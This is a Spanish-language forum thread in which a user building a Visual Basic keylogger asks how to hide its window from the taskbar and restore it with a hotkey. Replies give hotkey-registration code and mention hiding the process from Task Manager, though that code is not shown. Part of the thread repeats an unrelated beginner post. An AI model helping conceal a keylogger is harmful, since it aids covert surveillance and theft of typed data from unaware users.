modo oculto

[Daklon]

estoy intentando poner la tipica opcion de que cuando apretas un boton el keylogger se minimiza y deja de estar en la barra de tareas y que cuando apretas una combinacion de teclas se restaura pero cuando pongo esto para que pase a "modo oculto" me sale:

Error de compilacion:

La funcion o la interfaz está marcada como restringida, o la función usa un tipo de Automatización no admitido en Visual Basic

lo que pongo exactamente es

Código [Seleccionar] Expandir

Private Sub Command3_Click()
Form1.WindowState = 1
Form1.ShowInTaskbar = False


End Sub

con el windowsstate solo si funciona pero con el taskbar ya me sale el error como lo soluciono? se me ha ocurrido una idea pero no estoy seguro de si funcionaria y es usando el comando call

y lo otro es que tampoco se como ahcer que cuando se presione determinada combinacion de teclas la ventana se restaure


Edit:

probe con esto y me sale el mismo error:

Código [Seleccionar] Expandir

Private Sub Command3_Click()
Call oculto_Load



End Sub

Private Sub oculto_Load()
Form1.WindowState = 1
Form1.ShowInTaskbar = False
End Sub


edit2:

ya lo solucione usando form1.visible = False

pero sigo sin descubrir como hacer para que cuando se pulse una combinaicon de teclas se restaure la ventana

hola te paso un ejemplo facil del api guide

        If PeekMessage(Message, Me.hWnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then
            'restore the form
            WindowState = vbNormal
        End If
        'let the operating system process other events
        DoEvents
    Loop
End Sub
Private Sub Form_Load()
    'KPD-Team 2000
    'URL: http://www.allapi.net/

    Dim ret As Long
    bCancel = False
    'register the Ctrl-F hotkey
    ret = RegisterHotKey(Me.hWnd, &HBFFF&, MOD_CONTROL, vbKeyF)
    'show some information
    Me.AutoRedraw = True
    Me.Print "Press CTRL-F to restore this form"
    'show the form and
    Show
    'process the Hotkey messages
    ProcessMessages
End Sub
Private Sub Form_Unload(Cancel As Integer)
    bCancel = True
    'unregister hotkey
    Call UnregisterHotKey(Me.hWnd, &HBFFF&)
End Sub

cuando apretas ctrl +f  se restaura el formulario

Y con esto lo ocultas de la lista de procesos (solo del administrador de tareas)

Lo usas así:

El proceso de ocultar del Administrador de Tareas es un proceso que se come el procesador xP

y peor aun se nota el salto del proceso,

P.D.: si usan este ultimo al Titulo de la Aplicacion(Del proyecto en general, cuando van a generar el exe, den click en opciones y modifiquen) me parece que se tiene que poner un punto o espacio, no recuerdo bien xP.

intente ponerlo pero me daba errores al probarlo

[BlackZeroX]

espero lo estes compilando... si sabes leer codigo sabras que no funcionara el codigo posteado por WHK si no esta compilado

[Daklon]

la verdad es que no entiendo la gran parte pero algunos cachos si

el error me da nada mas escribirlo

y es algo de que esto:
Public Type LV_ITEM

no puede ser publico o algo asi

[BlackZeroX]

ola

empece hace poco con esto del vb y tengo una duda

me hice un programa(bastante simple) y luego me hice otro formulario con una imagen, sin bordes y con un timer para que pasados 3 segundos automaticamente se cerrara y dejara ver el programa(form1) pero no se como puedo hacerlo

la verdad es que no entiendo la gran parte pero algunos cachos si

el error me da nada mas escribirlo

y es algo de que esto:
Public Type LV_ITEM

no puede ser publico o algo asi

Con le dediques  un dia de lectura a un manual...

Busca un TUTORIAL de Visual BAsic es basico, pero aun asi, el codigo va en un modulo mas no en un form o modulo de clase

Dulces Lunas!¡.

[cobein]

Hay maneras mucho mas simples de ocultar el proceso, cambiando los atributos de seguridad .. son un par de APIs nada mas.

[WHK]

te sale ese error porque lo estas escribiendo sobre el mismo form y lo estas haciendo private, ponlo en un módulo bas
